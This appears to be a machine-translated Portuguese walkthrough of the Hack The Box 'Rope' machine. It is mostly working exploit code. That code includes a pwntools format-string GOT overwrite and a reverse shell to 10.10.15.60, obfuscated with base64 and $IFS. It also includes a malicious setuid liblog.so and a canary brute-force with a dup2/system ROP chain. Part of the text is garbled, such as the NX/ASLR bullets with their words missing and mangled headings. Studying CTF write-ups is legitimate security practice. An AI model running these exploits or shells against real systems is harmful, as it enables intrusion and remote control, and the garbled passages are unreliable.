Corte a caixa. Passo a passo corda. PWN. Formate seqüências de caracteres e ROP usando pwntools

Recon

10.10.10.148    rope.htb

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

nmap -A rope.htb -p22,9999

PWN do servidor HTTP

• NX (not execute) — , , , ( ) , , , . .
• ASLR: (libc), libc. ret2libc.
• PIE: , ASLR, , . .
• Canary: , , . , . .

1. Para qual endereço o programa é baixado?
2. E em que endereço as bibliotecas usadas por ela são carregadas?

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

curl http://127.0.0.1:9999/qwerty

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

p = remote(host,port)
p.send(payload)
p.close()

DO UTILIZADOR

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

gcc -c -Wall -Werror -fpic liblog.c

Gcc -shared -o liblog.so liblog.o

RAIZ

1. encontre e exceda o buffer;
2. abaixe o canário, rbp e rasgue;
3. desde que a TORTA está ativada, você precisa encontrar o deslocamento real;
4. encontre um vazamento de memória para calcular o endereço no qual a biblioteca está carregada;
5. Colete o ROP, no qual o fluxo de descritores padrão será redirecionado para o descritor de rede do programa e, em seguida, chame / bin / sh através da função do sistema.

1. estouro de buffer

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canário, RBP, RIP

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

Vazamento 4.Memory

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb